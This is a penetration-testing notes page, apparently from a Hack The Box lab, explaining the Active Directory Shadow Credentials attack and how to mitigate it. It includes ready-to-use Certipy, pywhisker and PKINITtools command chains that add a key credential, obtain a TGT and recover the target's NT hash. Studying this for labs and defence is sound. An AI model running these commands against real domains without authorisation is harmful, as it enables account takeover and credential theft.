đź§  Active Directory - Shadow Credentials Attack

What is it?

  • Concept: msDS-KeyCredentialLink is an attribute (introduced for Windows Hello for Business) that lets an account authenticate via a public key instead of a password — anyone with write access to that single attribute on a target object can attach a public key they generated themselves, then authenticate as the target with the matching private key. Unlike Active Directory - ACL Abuse (GenericAll & ForceChangePassword), the account’s real password is never touched or reset, so there’s no lockout/notification tied to a password change.
  • Impact: Turns a GenericWrite/GenericAll/WriteProperty ACE on any user or computer account — into a full credential-level takeover of that account, entirely via Active Directory Certificate Services (ADCS)/Kerberos PKINIT, without needing ADCS itself to be misconfigured.

How it works

  1. The attacker generates their own certificate/key pair and writes a corresponding “Key Credential” entry into the target’s msDS-KeyCredentialLink attribute — a normal LDAP attribute write, requiring only GenericWrite/WriteProperty on that attribute.
  2. The KDC honors any valid Key Credential on an account for Kerberos PKINIT authentication, exactly as if it were a smart-card certificate — this works regardless of whether the domain even runs ADCS, since PKINIT doesn’t require a CA-issued cert.
  3. The attacker authenticates with the attacker-held private key via PKINIT, gets back a TGT for the target, and — if StrongCertificateBindingEnforcement/U2U allows it — can additionally recover the target’s actual NT hash from that ticket exchange.

Exploitation

Prerequisites

  • GenericWrite/GenericAll/WriteProperty on a target user or computer object (specifically covers msDS-KeyCredentialLink)

Attack Vectors

# Certipy (v5+) does the whole chain in one command: add a Key Credential,
# request a cert through it, authenticate, and recover the NT hash
certipy-ad shadow auto -u '<user>@<domain>' -p '<pass>' -account '<target>' -dc-ip <dc_ip>
# Manual/older equivalent, useful when only pywhisker + PKINITtools are available
python3 pywhisker.py -d '<domain>' -u '<user>' -p '<pass>' --target '<target>' --action 'add'
# -> prints a saved .pfx path + its password
 
python3 gettgtpkinit.py -cert-pfx '<file>.pfx' '<domain>/<target>' -pfx-pass '<pfx_password>' '<target>.ccache'
 
export KRB5CCNAME='<target>.ccache'
python3 getnthash.py -key '<key_printed_by_gettgtpkinit>' '<domain>/<target>'

Notes

  • This is one of the few AD attacks that requires no password reset, no group membership change, and no ADCS misconfiguration whatsoever — the only footprint is a new entry in msDS-KeyCredentialLink, which is easy to miss without specifically monitoring that attribute.
  • Works identically against computer accounts, not just users — a GenericWrite on a machine account is just as exploitable as one on a user account.
  • Clean up afterward with certipy-ad shadow remove (or pywhisker --action remove) if operating under engagement rules that require minimizing lasting changes.

Mitigation

  • Fix: Audit and restrict write access to msDS-KeyCredentialLink the same way you would servicePrincipalName or group membership — it’s a full authentication bypass, not a lesser attribute. Monitor for unexpected writes to this attribute directly, since a password-change audit won’t catch this technique at all.
FileCreated
HTB - CertifiedJuly 23, 2026

References: